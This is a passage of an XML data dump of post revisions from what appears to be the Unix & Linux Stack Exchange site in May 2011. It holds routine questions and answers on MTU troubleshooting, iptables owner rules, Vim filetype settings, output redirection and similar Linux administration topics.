apparent internet connection, there must be some way to tunnel Firefox, but I'd like to pin down the problem first.&#xD;&#xA;&#xD;&#xA;It is very likely related to large packets not making their way through. I've found out that there is an MTU, but setting it for eth0 does not solve my problem. I think that I'm behind PPPOE and a router. The external IPs are the same on Windows and Linux.&#xD;&#xA;&#xD;&#xA;Output of some commands:&#xD;&#xA;&#xD;&#xA;`ip link show`&#xD;&#xA;&#xD;&#xA;    1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 16436 qdisc noqueue state UNKNOWN &#xD;&#xA;        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xD;&#xA;    2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1024 qdisc mq state UP qlen 1000&#xD;&#xA;        link/ether 00:26:aa:aa:aa:61 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    3: wlan0: &lt;NO-CARRIER,BROADCAST,MULTICAST,UP&gt; mtu 1500 qdisc mq state DOWN qlen 1000&#xD;&#xA;        link/ether c4:17:aa:aa:aa:ff brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    4: virbr0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UNKNOWN &#xD;&#xA;        link/ether 5e:49:aa:aa:aa:27 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;&#xD;&#xA;`ip route show`&#xD;&#xA;&#xD;&#xA;    192.168.1.0/24 dev eth0  proto kernel  scope link  src 192.168.1.4  metric 1 &#xD;&#xA;    192.168.122.0/24 dev virbr0  proto kernel  scope link  src 192.168.122.1 &#xD;&#xA;    169.254.0.0/16 dev eth0  scope link  metric 1000 &#xD;&#xA;    default via 192.168.1.1 dev eth0  proto static &#xD;&#xA;&#xD;&#xA;`ip addr show`&#xD;&#xA;&#xD;&#xA;    1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 16436 qdisc noqueue state UNKNOWN &#xD;&#xA;        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xD;&#xA;        inet 127.0.0.1/8 scope host lo&#xD;&#xA;        inet6 ::1/128 scope host &#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;    2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1024 qdisc mq state UP qlen 1000&#xD;&#xA;        link/ether 00:26:2d:78:ac:61 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;        inet 192.168.1.4/24 brd 192.168.1.255 scope global eth0&#xD;&#xA;    3: wlan0: &lt;NO-CARRIER,BROADCAST,MULTICAST,UP&gt; mtu 1500 qdisc mq state DOWN qlen 1000&#xD;&#xA;        link/ether c4:17:fe:3b:56:ff brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    4: virbr0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UNKNOWN &#xD;&#xA;        link/ether 5e:49:01:03:55:27 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;        inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0&#xD;&#xA;        inet6 fe80::5c49:1ff:fe03:5527/64 scope link &#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;&#xD;&#xA;I can send pings up to size 1468.&#xD;&#xA;&#xD;&#xA;    tim@milagros:~/projekt/perl$ ping -c 1 -s 1468 8.8.8.8&#xD;&#xA;    PING 8.8.8.8 (8.8.8.8) 1468(1496) bytes of data.&#xD;&#xA;    72 bytes from 8.8.8.8: icmp_seq=1 ttl=56 (truncated)&#xD;&#xA;    &#xD;&#xA;    --- 8.8.8.8 ping statistics ---&#xD;&#xA;    1 packets transmitted, 1 received, 0% packet loss, time 0ms&#xD;&#xA;    rtt min/avg/max/mdev = 71.289/71.289/71.289/0.000 ms&#xD;&#xA;    tim@milagros:~/projekt/perl$ ping -c 1 -s 1470 8.8.8.8&#xD;&#xA;    PING 8.8.8.8 (8.8.8.8) 1470(1498) bytes of data.&#xD;&#xA;    ^C&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    tim@milagros:~/projekt/perl$ ifconfig eth0&#xD;&#xA;    eth0      Link encap:Ethernet  HWaddr 00:26:2d:78:ac:61  &#xD;&#xA;              inet addr:192.168.1.4  Bcast:192.168.1.255  Mask:255.255.255.0&#xD;&#xA;              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xD;&#xA;              RX packets:161 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:194 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:1000 &#xD;&#xA;              RX bytes:143947 (143.9 KB)  TX bytes:67727 (67.7 KB)&#xD;&#xA;              Interrupt:16 " />
  <row Id="30651" PostHistoryTypeId="2" PostId="12500" RevisionGUID="4843b5e4-7811-40a6-9e09-4e7d39003896" CreationDate="2011-05-03T05:49:51.327" UserId="6960" Text="Where could I set the username/password if the HTTP/HTTPS proxy requires it?&#xD;&#xA;Is Firefox securely storing the username/password?" />
  <row Id="30652" PostHistoryTypeId="1" PostId="12500" RevisionGUID="4843b5e4-7811-40a6-9e09-4e7d39003896" CreationDate="2011-05-03T05:49:51.327" UserId="6960" Text="How to set username/password in Firefox when using proxy with auth?" />
  <row Id="30653" PostHistoryTypeId="3" PostId="12500" RevisionGUID="4843b5e4-7811-40a6-9e09-4e7d39003896" CreationDate="2011-05-03T05:49:51.327" UserId="6960" Text="élinuxàéfirefoxà" />
  <row Id="30654" PostHistoryTypeId="2" PostId="12501" RevisionGUID="fa0cebac-cd19-41f9-8b38-d3ab6542948a" CreationDate="2011-05-03T06:01:04.763" UserId="7161" Text="For some reason, today, everytime I hit tab in the terminal this shows up:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    cat bash: warning: setlocale: LC_CTYPE: cannot change locale (en_CA)&#xD;&#xA;    &#xD;&#xA;    Display all 150 possibilities? (y or n)&#xD;&#xA;&#xD;&#xA;This particular one happens when I type `cat` then hit TAB. I never changed any setting or anything. Anyone know what's going on?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30655" PostHistoryTypeId="1" PostId="12501" RevisionGUID="fa0cebac-cd19-41f9-8b38-d3ab6542948a" CreationDate="2011-05-03T06:01:04.763" UserId="7161" Text="Weird Stuff in Terminal When I Hit Tab" />
  <row Id="30656" PostHistoryTypeId="3" PostId="12501" RevisionGUID="fa0cebac-cd19-41f9-8b38-d3ab6542948a" CreationDate="2011-05-03T06:01:04.763" UserId="7161" Text="ébashàéterminalà" />
  <row Id="30657" PostHistoryTypeId="25" PostId="12501" RevisionGUID="b2f313d2-7358-4702-bbb8-fa5bcc80e89a" CreationDate="2011-05-03T06:11:22.080" Comment="http://twitter.com/#!/StackUnix/status/65297375337529344" />
  <row Id="30658" PostHistoryTypeId="2" PostId="12502" RevisionGUID="8e4aceb8-b231-4401-a5db-dfd914245536" CreationDate="2011-05-03T06:39:16.670" UserId="6960" Text="Any ideas for making an OpenBSD usable (how to turn off logs, &quot;put os into memory&quot;?) on a SDHC or an microSDHC card? Since &lt;a href=&quot;http://xercestech.com/full-system-encryption-for-linux.geek&quot;&gt;full-disk encryption&lt;/a&gt; is &lt;a href=&quot;http://unix.stackexchange.com/questions/9527/full-disk-encryption-on-openbsd&quot;&gt;not really&lt;/a&gt; a solution under OpenBSD so I though I would be more keen on physical protection, so I will install/use my &quot;desktop os&quot; on an SDHC or a microSDHC card." />
  <row Id="30659" PostHistoryTypeId="1" PostId="12502" RevisionGUID="8e4aceb8-b231-4401-a5db-dfd914245536" CreationDate="2011-05-03T06:39:16.670" UserId="6960" Text="OpenBSD on a SDHC or an microSDHC card - tips" />
  <row Id="30660" PostHistoryTypeId="3" PostId="12502" RevisionGUID="8e4aceb8-b231-4401-a5db-dfd914245536" CreationDate="2011-05-03T06:39:16.670" UserId="6960" Text="éopenbsdà" />
  <row Id="30661" PostHistoryTypeId="5" PostId="12478" RevisionGUID="3ec3fcec-3d4c-404e-b69f-b7e855166828" CreationDate="2011-05-03T06:49:04.473" UserId="4843" Comment="added 471 characters in body" Text="I installed an application [ e.g. fdisk ]. But it required libraries for execution. I am looking for utility/tool which will help me to create a static binary from _already_ installed binaries. So that I can use it anywhere. &#xD;&#xA;&#xD;&#xA;The only reliable tools that I found is `ErmineLight` from &#xD;&#xA;&lt;a href=&quot;http://www.magicermine.com/trial/ErmineLightTrial.i386/ErmineLightTrial.i386/ErmineLightTrial.i386.html&quot;&gt;here&lt;/a&gt; , but this one is share-ware.&#xD;&#xA;&#xD;&#xA;Is there any open-source software is available for the same ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`EDIT`  fdisk is just an example. I most of the time work on LFS, So If I have to use any utility, I need to follow the steps as &#xD;&#xA;&#xD;&#xA;&gt;1. Download the source&#xD;&#xA;2. configure &#xD;&#xA;3. make &#xD;&#xA;4. make test&#xD;&#xA;5. make install, &#xD;&#xA;&#xD;&#xA;So just-to-save time, I am looking for a solution in which I will make a static binary from debian or from fedora or from other distrbution, try it on LFS, and If it works fine or as per my requirement, I will go with source-code for compilation. " />
  <row Id="30662" PostHistoryTypeId="6" PostId="12498" RevisionGUID="405a5f94-6f7d-4ad8-b9ce-197c575af928" CreationDate="2011-05-03T07:01:34.780" UserId="885" Comment="edited tags" Text="ésmtpàémailötransportöagentàépostfixà" />
  <row Id="30663" PostHistoryTypeId="5" PostId="11717" RevisionGUID="b535c769-d295-4b8b-a2aa-6dc4117decc9" CreationDate="2011-05-03T07:24:27.053" UserId="1925" Comment="deleted 24 characters in body" Text="Right now I'm using the KDE desktop on Fedora, but I want to switch to Gnome. Problem is, I have many things open right now (xterms, xemacs, etc, etc), and I don't want to close all of them, log out, switch, then reopen everything...that'd take way too long.&#xD;&#xA;&#xD;&#xA;So my question is: **is it possible to switch to Gnome without having to log out?? Or switch but NOT have to close and reopen everything?**&#xD;&#xA;&#xD;&#xA;Please excuse me if there's an error in my understanding of unix desktops. Still a newbie!" />
  <row Id="30664" PostHistoryTypeId="2" PostId="12503" RevisionGUID="3f0fc167-ccc9-493b-b11e-526529ed186e" CreationDate="2011-05-03T07:39:00.573" UserId="4404" Text="If I understand correctly, you need a terminal emulator with a keyboard shortcut to paste test. For example, in Konsole you can do it with Ctrl-Shift-V." />
  <row Id="30665" PostHistoryTypeId="2" PostId="12504" RevisionGUID="2b7509d5-c3ba-44e4-b2d4-f3bd200c64c2" CreationDate="2011-05-03T08:06:06.940" UserId="3169" Text="Based on the title, I think the [bounce_size_limit](http://www.postfix.org/postconf.5.html#bounce_size_limit) option might help.  Try setting it to `0`.&#xD;&#xA;&#xD;&#xA;But reading the question body, I think you're asking something else..." />
  <row Id="30666" PostHistoryTypeId="5" PostId="12504" RevisionGUID="5838e193-0659-48d5-bd7f-0dd3ae21fb21" CreationDate="2011-05-03T08:25:13.983" UserId="3169" Comment="added 305 characters in body" Text="Based on the title, I think the [bounce_size_limit](http://www.postfix.org/postconf.5.html#bounce_size_limit) option might help.  Try setting it to `0`.&#xD;&#xA;&#xD;&#xA;Based on the question body, I think you need something else.&#xD;&#xA;&#xD;&#xA;Is this what's happening?&#xD;&#xA;&#xD;&#xA;    1. hMail ---&gt; Postfix (OK)&#xD;&#xA;    2. Postfix ---&gt; BlackBerry (Fails)&#xD;&#xA;    3. Postfix ---&gt; hMail (OK)&#xD;&#xA;    4. hMail ---&gt; Postfix (loop)&#xD;&#xA;    etc.&#xD;&#xA;&#xD;&#xA;If so, you could append a header to the message as it's being forwarded at step 2, then see if that header is present at step 4.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30667" PostHistoryTypeId="2" PostId="12505" RevisionGUID="9bf837e6-7eb2-4fa4-9e71-3ffc12d9cf8d" CreationDate="2011-05-03T08:37:50.540" UserId="2703" Text="I have a certain Linux executable that is called from a bigger application to perform some calculations. I want to modify the way the calculations are performed, for that I first need to understand how the executable is called and in what way the parameters and data are transferred.&#xD;&#xA;&#xD;&#xA;So, I'd like to monitor the command line parameters, stdin and stdout if this executable is called. The normal operation of the executable should not be disturbed.&#xD;&#xA;&#xD;&#xA;Is there an easy way to do that?" />
  <row Id="30668" PostHistoryTypeId="1" PostId="12505" RevisionGUID="9bf837e6-7eb2-4fa4-9e71-3ffc12d9cf8d" CreationDate="2011-05-03T08:37:50.540" UserId="2703" Text="Intercept input and output from specific executable" />
  <row Id="30669" PostHistoryTypeId="3" PostId="12505" RevisionGUID="9bf837e6-7eb2-4fa4-9e71-3ffc12d9cf8d" CreationDate="2011-05-03T08:37:50.540" UserId="2703" Text="élinuxàéshellàéioà" />
  <row Id="30670" PostHistoryTypeId="2" PostId="12506" RevisionGUID="226d8ed4-bb75-41a7-a2f4-b5ba24e63b6c" CreationDate="2011-05-03T08:50:26.543" UserId="6200" Text="I have an executable script `test` under the full path `/home/sawa/foo/bar/test`. The directory `/home/sawa/foo/bar` is within `$PATH`, and has priority over the default ones including `/usr/bin`. When I do&#xD;&#xA;&#xD;&#xA;    `which test`&#xD;&#xA;&#xD;&#xA;to see whether this command is correctly recognized, it returns&#xD;&#xA;&#xD;&#xA;    /home/sawa/foo/bar//test&#xD;&#xA;&#xD;&#xA;with the double slash `//`. I know that there is a built in command with the same name `test`, and when I remove mine, this one under `/usr/bin/test` is returned by `which`, so I think it's interfereing in some way.&#xD;&#xA;&#xD;&#xA;1.  What does this double slash mean here, and why is it appearing here?&#xD;&#xA;2.  My executable `test` does not seem to work correctly. Why is that?&#xD;&#xA;" />
  <row Id="30671" PostHistoryTypeId="1" PostId="12506" RevisionGUID="226d8ed4-bb75-41a7-a2f4-b5ba24e63b6c" CreationDate="2011-05-03T08:50:26.543" UserId="6200" Text="What does '//' mean in as return from which" />
  <row Id="30672" PostHistoryTypeId="3" PostId="12506" RevisionGUID="226d8ed4-bb75-41a7-a2f4-b5ba24e63b6c" CreationDate="2011-05-03T08:50:26.543" UserId="6200" Text="éshellàépathàéslashàéwhichà" />
  <row Id="30673" PostHistoryTypeId="2" PostId="12507" RevisionGUID="83bc118b-bbeb-4289-816d-dd81b96df3b1" CreationDate="2011-05-03T08:53:01.067" UserId="29" Text="here's the `iptables` command&#xD;&#xA;&#xD;&#xA;    iptables -A OUTPUT -p tcp -m tcp --dport 80 -m owner --uid-owner username -j ACCEPT &#xD;&#xA;&#xD;&#xA;from the man page&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;      [!] --uid-owner userid[-userid]&#xD;&#xA;              Matches  if  the packet socket’s file structure (if it has one) is owned by the given user. You may also specify a numerical UID, or an UID range.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;as far as virtualbox.. I believe it runs its own kernel... so you might want to use the `--uid-owner` of virtualbox on the host OS, but then have a `--uid-owner` owner rule on the virtual machine as well." />
  <row Id="30674" PostHistoryTypeId="6" PostId="12499" RevisionGUID="ef0e8bbf-422e-484b-9f08-50e7c6d7a14b" CreationDate="2011-05-03T08:54:06.153" UserId="29" Comment="add pf and firewall tags" Text="éiptablesàéfirewallàépfà" />
  <row Id="30675" PostHistoryTypeId="2" PostId="12508" RevisionGUID="179c1b8f-8f8b-4b12-ad70-da21beeab083" CreationDate="2011-05-03T08:56:51.470" UserId="1925" Text="Most likely it doesn't work for you because the shell builtin is getting executed with priority over any executable. You should not knowingly create a name conflict like this, behavior *will* be inconsistent across environments. The system binary `test` is only there for the use of shells that don't have a builtin version.&#xD;&#xA;&#xD;&#xA;If you want alternate functionality, you should name your script something else." />
  <row Id="30676" PostHistoryTypeId="5" PostId="12507" RevisionGUID="b0fd3213-278a-4935-96a9-208090d37a7a" CreationDate="2011-05-03T09:00:36.957" UserId="29" Comment="make sure this is known to only solve some of it." Text="here's the `iptables` command to allow for a certain `uid` through a certain port.&#xD;&#xA;&#xD;&#xA;    iptables -A OUTPUT -p tcp -m tcp --dport 80 -m owner --uid-owner username -j ACCEPT &#xD;&#xA;&#xD;&#xA;from the man page&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;      [!] --uid-owner userid[-userid]&#xD;&#xA;              Matches  if  the packet socket’s file structure (if it has one) is owned by the given user. You may also specify a numerical UID, or an UID range.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;as far as virtualbox.. I believe it runs its own kernel... so you might want to use the `--uid-owner` of virtualbox on the host OS, but then have a `--uid-owner` owner rule on the virtual machine as well." />
  <row Id="30677" PostHistoryTypeId="2" PostId="12509" RevisionGUID="f93b7cd1-2dcd-4e81-9a0b-e713aaa6eadf" CreationDate="2011-05-03T09:02:21.780" UserId="1925" Text="Option 1 would be to modify the source code of the calling app and insert `tee` into the output pipeline to get a copy of the output for review at that stage.&#xD;&#xA;&#xD;&#xA;Option 2 would be to write a wrapper script around the executable in question. A quick script that passes on stdin and arguments to the real app, then tee's the output to a location for you to review and also spits it back out the same way the app would should be just a couple lines to whip up. Put it someplace special and make add that location to the front of your PATH variable, then run your application.&#xD;&#xA;&#xD;&#xA;    #/bin/sh&#xD;&#xA;    cat - | /path/to/realapp $@ | tee /tmp/debug_output" />
  <row Id="30678" PostHistoryTypeId="25" PostId="12505" RevisionGUID="d1653958-b10d-4fb6-ab1e-9f05afb50672" CreationDate="2011-05-03T09:11:22.777" Comment="http://twitter.com/#!/StackUnix/status/65342677301993472" />
  <row Id="30679" PostHistoryTypeId="5" PostId="12507" RevisionGUID="6766a04d-9fd8-425c-bc7d-3e332cec38b9" CreationDate="2011-05-03T09:12:09.157" UserId="29" Comment="add a possible way to restrict by application" Text="here's the `iptables` command to allow for a certain `uid` through a certain port.&#xD;&#xA;&#xD;&#xA;    iptables -A OUTPUT -p tcp -m tcp --dport 80 -m owner --uid-owner username -j ACCEPT &#xD;&#xA;&#xD;&#xA;from the man page&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;      [!] --uid-owner userid[-userid]&#xD;&#xA;              Matches  if  the packet socket’s file structure (if it has one) is owned by the given user. You may also specify a numerical UID, or an UID range.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;as far as virtualbox.. I believe it runs its own kernel... so you might want to use the `--uid-owner` of virtualbox on the host OS, but then have a `--uid-owner` owner rule on the virtual machine as well.&#xD;&#xA;&#xD;&#xA;It might also be useful to note that `--gid-owner` also exists, and you could create a group `browser` and `sgid` your browser apps so it runs with an effective group `browser` and then only put users who you want to have browsing in that group... this would not be a perfect solution... but most of the users wouldn't try to run any other apps as that group, thus generally restricting the outbound to that application I believe. I haven't tried this, so I'm not 100% that it would work as I've described." />
  <row Id="30680" PostHistoryTypeId="2" PostId="12510" RevisionGUID="05b88363-e535-4ade-ad52-edd8073096a3" CreationDate="2011-05-03T09:17:27.853" UserId="6215" Text="I'm using Xubuntu. Before login I can choose a keyboard layout. &lt;br&gt;&#xD;&#xA;I'm using xmodmap for remmaping some keys.&lt;br&gt;&#xD;&#xA;I'm interested in two things:&#xD;&#xA;&#xD;&#xA; 1. How the state of keyboard mapping changes when I turn the laptop on, during the boot  process and login to the system (in these three phases) and when working with the system (logged in).&#xD;&#xA; 2. What causes which symbols will be displayed on the screen (and control keys sent) during the individual phases. When I press some key, it sends some signal to the keyboard driver(?) and then there must be some decision process (applications and configuration files) determining what symbols will be displayed. Answer to this question should be the list of applications and paths to those configuration files (I'm especially interested in Ubuntu (debian based system), but I can write some other system, but Ubuntu is prefered).&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="30681" PostHistoryTypeId="1" PostId="12510" RevisionGUID="05b88363-e535-4ade-ad52-edd8073096a3" CreationDate="2011-05-03T09:17:27.853" UserId="6215" Text="Relationship of keyboard layout and xmodmap" />
  <row Id="30682" PostHistoryTypeId="3" PostId="12510" RevisionGUID="05b88363-e535-4ade-ad52-edd8073096a3" CreationDate="2011-05-03T09:17:27.853" UserId="6215" Text="ébootàékeyboardàéloginàéxmodmapàékeyboardölayoutà" />
  <row Id="30683" PostHistoryTypeId="5" PostId="12510" RevisionGUID="2aec7cc1-04d8-4670-ae2d-5740c81e48f5" CreationDate="2011-05-03T09:20:29.073" UserId="1925" Comment="deleted 10 characters in body" Text="I'm using Xubuntu. Before login I can choose a keyboard layout. &lt;br&gt;&#xD;&#xA;I'm using xmodmap for remmaping some keys.&lt;br&gt;&#xD;&#xA;I'm interested in two things:&#xD;&#xA;&#xD;&#xA; 1. How the state of keyboard mapping changes when I turn the laptop on, during the boot  process and login to the system (in these three phases) and when working with the system (logged in).&#xD;&#xA; 2. What causes which symbols will be displayed on the screen (and cotrol keys sent) during the individual phases. When I press some key, it sends some signal to the keyboard driver(?) and then there must be some decision process (applications and configuration files) determining what symbols will be displayed.&#xD;&#xA;&#xD;&#xA;Answer to this question should be the list of applications and paths to those configuration files (I'm especially interested in Ubuntu (debian based system), but I can write some other system, but Ubuntu is preferred)." />
  <row Id="30684" PostHistoryTypeId="5" PostId="12510" RevisionGUID="02e4956b-f946-4bc6-95c3-808a3dc5b98f" CreationDate="2011-05-03T09:21:25.870" UserId="6215" Comment="added 6 characters in body" Text="I'm using Xubuntu. Before login I can choose a keyboard layout. &lt;br&gt;&#xD;&#xA;I'm using xmodmap for remmaping some keys.&lt;br&gt;&#xD;&#xA;I'm interested in two things:&#xD;&#xA;&#xD;&#xA; 1. How the state of keyboard mapping changes when I turn the laptop on, during the boot  process and login to the system (in these three phases) and when working with the system (logged in).&#xD;&#xA; 2. What causes which symbols will be displayed on the screen (and control keys sent) during the individual phases. When I press some key, it sends some signal to the keyboard driver(?) and then there must be some decision process (applications and configuration files) determining what symbols will be displayed. Answer to this question should be the list of applications and paths to those configuration files (I'm especially interested in Ubuntu (Debian based system), but you can describe some other system, but Ubuntu is preferred).&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="30685" PostHistoryTypeId="2" PostId="12511" RevisionGUID="4a06caf1-4403-4233-a3de-3a4d4f01d248" CreationDate="2011-05-03T09:39:10.047" UserId="5075" Text="In most cases, I want to use tabstop=4 while editing files. But for some types of file, like xml file, I want to use tabstop=2.&#xD;&#xA;&#xD;&#xA;I added&#xD;&#xA;&#xD;&#xA;&gt; au filetypedetect FileType xml,html,xhtml,javascript set tabstop=2 softtabstop=2 shiftwidth=2&#xD;&#xA;&#xD;&#xA;in my .vimrc file. It works if I am editing only one file. But if I am editing multiple files, it cannot set the tab stops correctly for all the buffers. It seems the file type is detected and set only on startup, and never change since. I want the FileType set each time I switch the buffer, how can I do that?" />
  <row Id="30686" PostHistoryTypeId="1" PostId="12511" RevisionGUID="4a06caf1-4403-4233-a3de-3a4d4f01d248" CreationDate="2011-05-03T09:39:10.047" UserId="5075" Text="How to use Filetype in Vim?" />
  <row Id="30687" PostHistoryTypeId="3" PostId="12511" RevisionGUID="4a06caf1-4403-4233-a3de-3a4d4f01d248" CreationDate="2011-05-03T09:39:10.047" UserId="5075" Text="évimàévimrcà" />
  <row Id="30688" PostHistoryTypeId="2" PostId="12512" RevisionGUID="1e543e3a-acb6-4396-8e01-e94cafee75c2" CreationDate="2011-05-03T09:46:34.660" UserId="1925" Text="I am not sure why your version is not working, but I am able to do this using the `call` option and putting the settings in a function like this:&#xD;&#xA;&#xD;&#xA;    set tabstop=4&#xD;&#xA;    set softtabstop=4&#xD;&#xA;    set shiftwidth=4&#xD;&#xA;&#xD;&#xA;    function! setAltPrefs()&#xD;&#xA;        set tabstop=2&#xD;&#xA;        set softtabstop=2&#xD;&#xA;        set shiftwidth=2&#xD;&#xA;    endfunction&#xD;&#xA;    &#xD;&#xA;    autocmd FileType xml,html,xhtml,javascript call setAltPrefs()&#xD;&#xA;&#xD;&#xA;This should get fired any time a file is loaded into a buffer or the filetype changes. The only catch would be if you change a buffer from one of the custom types back to one that should just be defaults. In that case nothing will change. You would have to setup another function to trigger on all over file types if you need to cover that use case." />
  <row Id="30689" PostHistoryTypeId="2" PostId="12513" RevisionGUID="e606b3ae-cff7-4cf3-8bf5-f7ff52a987da" CreationDate="2011-05-03T09:46:51.403" UserId="1078" Text="I would guess that you have `/home/sawa/foo/bar/` on your path - i.e. a path with a trailing slash.&#xD;&#xA;&#xD;&#xA;`which` is iterating over each element of `$PATH` and appending `/argv[1]` and checking for the existence of that file. That causes a double-slash - one from the `$PATH` part, and one from `/argv[1]`.&#xD;&#xA;&#xD;&#xA;A double-slash is no problem. It is collapsed to a single slash by the kernel. Only at the beginning of a path may a double-slash have special meaning, and not always then.&#xD;&#xA;&#xD;&#xA;As for `test` not working, ensure you are not using the shell built-in when calling `test`. You usually do this by using a full path, but with bash you can also use `enable -n test` to disable the built-in `test` command." />
  <row Id="30690" PostHistoryTypeId="2" PostId="12514" RevisionGUID="542d8d15-fd33-4279-919b-85841c4cd3d0" CreationDate="2011-05-03T09:54:56.000" UserId="7164" Text="I am using cppcheck tool to analyze source code.  &#xD;&#xA;&#xD;&#xA;At the shell prompt in gcc compiler, I have given the command as follows  &#xD;&#xA;&#xD;&#xA;$cppcheck abc.cpp  &#xD;&#xA;&#xD;&#xA;The output is  &#xD;&#xA;checking abc.cpp...   &#xD;&#xA;(error) Possible null pointer dereference: &lt;var&gt; - otherwise it is redundant to check if   &lt;var&gt; is null at line 100    &#xD;&#xA;segmentation fault&#xD;&#xA;&#xD;&#xA;I want this output to be saved in a file, so I have given the command as follows  &#xD;&#xA;&#xD;&#xA;$cppcheck abc.cpp 2&gt; abc.txt&#xD;&#xA;&#xD;&#xA;But the contents of abc.txt file is as follows&#xD;&#xA;&#xD;&#xA;checking abc.cpp...  &#xD;&#xA;It is only saving the first line, the main error part is missing in abc.txt file.  &#xD;&#xA;&#xD;&#xA;Which command should I use to get all the output lines in a file?  &#xD;&#xA;The manual of cppcheck tool is present at http://cppcheck.sourceforge.net/manual.pdf&#xD;&#xA;" />
  <row Id="30691" PostHistoryTypeId="1" PostId="12514" RevisionGUID="542d8d15-fd33-4279-919b-85841c4cd3d0" CreationDate="2011-05-03T09:54:56.000" UserId="7164" Text="i want to save the result of one command in a file" />
  <row Id="30692" PostHistoryTypeId="3" PostId="12514" RevisionGUID="542d8d15-fd33-4279-919b-85841c4cd3d0" CreationDate="2011-05-03T09:54:56.000" UserId="7164" Text="élinuxà" />
  <row Id="30693" PostHistoryTypeId="2" PostId="12515" RevisionGUID="11ef884c-39fe-488c-bd74-64847e3c2654" CreationDate="2011-05-03T09:57:50.707" UserId="591" Text="You probably need to redirect stderr as well as stdout to your file&#xD;&#xA;&#xD;&#xA;    cppcheck abc.cpp  &amp;&gt;abc.txt" />
  <row Id="30694" PostHistoryTypeId="2" PostId="12516" RevisionGUID="7016c100-ce4b-470d-9ed2-ce1d6a16a7d0" CreationDate="2011-05-03T09:58:14.983" UserId="1925" Text="Drop the `2` from your command and just use `&gt;` as the redirect operator. By using `2&gt;` you are redirecting the error stream (STDERR) to a file; what it sounds like you want is the regular output stream (STDOUT).&#xD;&#xA;&#xD;&#xA;    cppcheck abc.cpp &gt; abc.txt&#xD;&#xA;&#xD;&#xA;If you want *both* streams to go to your file, you can connect them like this:&#xD;&#xA;&#xD;&#xA;    cppcheck abc.cpp &gt; abc.txt 2&gt;&amp;1" />
  <row Id="30695" PostHistoryTypeId="5" PostId="12514" RevisionGUID="f33af6eb-751d-4474-b98a-e1f2ebf3ad43" CreationDate="2011-05-03T10:01:26.853" UserId="1925" Comment="added 35 characters in body" Text="I am using cppcheck tool to analyze source code.  &#xD;&#xA;&#xD;&#xA;At the shell prompt in gcc compiler, I have given the command as follows  &#xD;&#xA;&#xD;&#xA;    $ cppcheck abc.cpp  &#xD;&#xA;&#xD;&#xA;The output is&#xD;&#xA;&#xD;&#xA;    checking abc.cpp...   &#xD;&#xA;    (error) Possible null pointer dereference: &lt;var&gt; - otherwise it is redundant to check if   &lt;var&gt; is null at line 100    &#xD;&#xA;    segmentation fault&#xD;&#xA;&#xD;&#xA;I want this output to be saved in a file, so I have given the command as follows  &#xD;&#xA;&#xD;&#xA;    $ cppcheck abc.cpp 2&gt; abc.txt&#xD;&#xA;&#xD;&#xA;But the contents of abc.txt file is as follows&#xD;&#xA;&#xD;&#xA;    checking abc.cpp...  &#xD;&#xA;&#xD;&#xA;It is only saving the first line, the main error part is missing in abc.txt file.  &#xD;&#xA;&#xD;&#xA;Which command should I use to get all the output lines in a file? The manual of cppcheck tool is [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cppcheck.sourceforge.net/manual.pdf" />
  <row Id="30696" PostHistoryTypeId="5" PostId="12515" RevisionGUID="2ba92353-0803-48dc-b39a-98453c231172" CreationDate="2011-05-03T10:03:04.647" UserId="591" Comment="edited body" Text="You probably need to redirect stdout as well as stderr to your file&#xD;&#xA;&#xD;&#xA;    cppcheck abc.cpp  &amp;&gt;abc.txt" />
  <row Id="30697" PostHistoryTypeId="2" PostId="12517" RevisionGUID="7b128de2-b791-4511-9ae4-6eaa75260d96" CreationDate="2011-05-03T10:06:57.387" UserId="2567" Text="Caleb is right about the use of &gt; but you can also use the tee command if you would like to see the logs at the same time as you save then to a file.&#xD;&#xA;&#xD;&#xA;    ls |  tee my.file.txt&#xD;&#xA;&#xD;&#xA;And it should work with the 2&gt;&amp;1 as well.&#xD;&#xA;&#xD;&#xA;    ls 2&gt;&amp;1 | tee my.file.txt&#xD;&#xA;&#xD;&#xA;" />
